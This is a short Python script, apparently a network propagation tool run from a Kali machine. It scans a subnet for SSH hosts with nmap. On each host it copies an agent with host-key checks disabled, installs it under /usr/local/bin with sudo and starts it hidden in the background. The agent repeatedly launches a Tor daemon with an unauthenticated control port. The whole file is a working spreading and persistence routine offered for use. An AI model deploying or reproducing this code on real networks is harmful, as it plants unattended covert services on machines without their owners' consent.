/ sovereign_launcher.py
sovereign_launcher.py
 1  import subprocess, os, time, socket
 2  
 3  # CONFIGURATION
 4  SUBNET = "192.168.1.0/24"
 5  USER = "unknown"
 6  KALI_IP = subprocess.getoutput("hostname -I").split()[0]
 7  
 8  def execute(cmd):
 9      return subprocess.run(cmd, shell=True, capture_output=True, text=True)
10  
11  def deploy_to_node(ip):
12      print(f"[*] Found node at {ip}. Attempting autonomous injection...")
13      # 1. Create the remote agent script locally first
14      with open("/tmp/remote_agent.py", "w") as f:
15          f.write(f"import subprocess, time, os\nwhile True:\n"
16                  f"    subprocess.run('sudo tor --defaults-torrc /dev/null --DataDirectory /dev/shm/.t --ControlPort 9051 --CookieAuthentication 0 --runasdaemon 1', shell=True)\n"
17                  f"    time.sleep(60)")
18  
19      # 2. Push and Start
20      commands = [
21          f"scp -o StrictHostKeyChecking=no /tmp/remote_agent.py {USER}@{ip}:/tmp/",
22          f"ssh -o StrictHostKeyChecking=no {USER}@{ip} 'sudo mv /tmp/remote_agent.py /usr/local/bin/ && nohup python3 /usr/local/bin/remote_agent.py > /dev/null 2>&1 &'"
23      ]
24      for c in commands:
25          execute(c)
26      print(f"[+] Node {ip} is now AUTONOMOUS.")
27  
28  def main():
29      print(f"[*] Sovereign Bot active. Master IP: {KALI_IP}")
30      while True:
31          # Scan for SSH devices
32          scan = execute(f"nmap -p22 --open {SUBNET} -oG -")
33          nodes = [line.split()[1] for line in scan.stdout.splitlines() if "Host:" in line]
34          
35          for node in nodes:
36              if node != KALI_IP:
37                  deploy_to_node(node)
38          
39          print("[*] Scan complete. Sleeping for 5 minutes...")
40          time.sleep(300)
41  
42  if __name__ == "__main__":
43      main()